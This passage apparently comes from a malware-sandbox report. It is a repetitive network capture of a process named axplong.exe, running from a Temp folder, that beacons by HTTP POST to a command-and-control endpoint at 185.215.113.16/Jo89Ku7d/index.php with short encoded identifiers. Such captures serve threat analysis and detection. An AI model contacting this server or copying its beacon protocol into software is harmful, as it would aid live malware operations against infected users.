                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:31.747541904 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:31 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            18192.168.2.449754185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:31.858158112 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:32.554923058 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:32 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:32.555843115 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:32.782084942 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:32 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            19192.168.2.449755185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:32.904999971 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:33.605915070 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:33 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:33.749284983 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:33.975999117 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:33 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            20192.168.2.449756185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:34.092222929 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:34.894733906 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:34 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:34.895554066 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:35.120089054 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:35 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            21192.168.2.449757185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:35.230693102 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:35.927007914 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:35 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:35.931111097 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:36.156299114 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:36 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            22192.168.2.449758185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:36.277964115 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:36.973047018 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:36 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:36.974416971 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:37.199002981 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:37 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            23192.168.2.449759185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:37.311707020 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:38.015285969 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:37 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:38.016035080 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:38.241451025 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:38 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            24192.168.2.449760185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:38.361660957 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:39.094549894 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:38 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:39.095506907 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:39.330702066 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:39 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            25192.168.2.449761185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:39.450514078 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:40.152733088 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:40 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:40.153729916 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:40.380983114 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:40 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            26192.168.2.449762185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:40.500627995 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:41.239897966 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:41 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:41.240827084 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:41.472112894 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:41 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            27192.168.2.449763185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:41.592134953 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:42.294118881 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:42 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:42.294837952 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:42.520149946 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:42 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            28192.168.2.449764185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:42.640633106 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:43.367151976 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:43 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:43.368285894 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:43.622028112 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:43 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            29192.168.2.449765185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:43.732006073 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:44.554619074 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:44 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:44.556567907 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
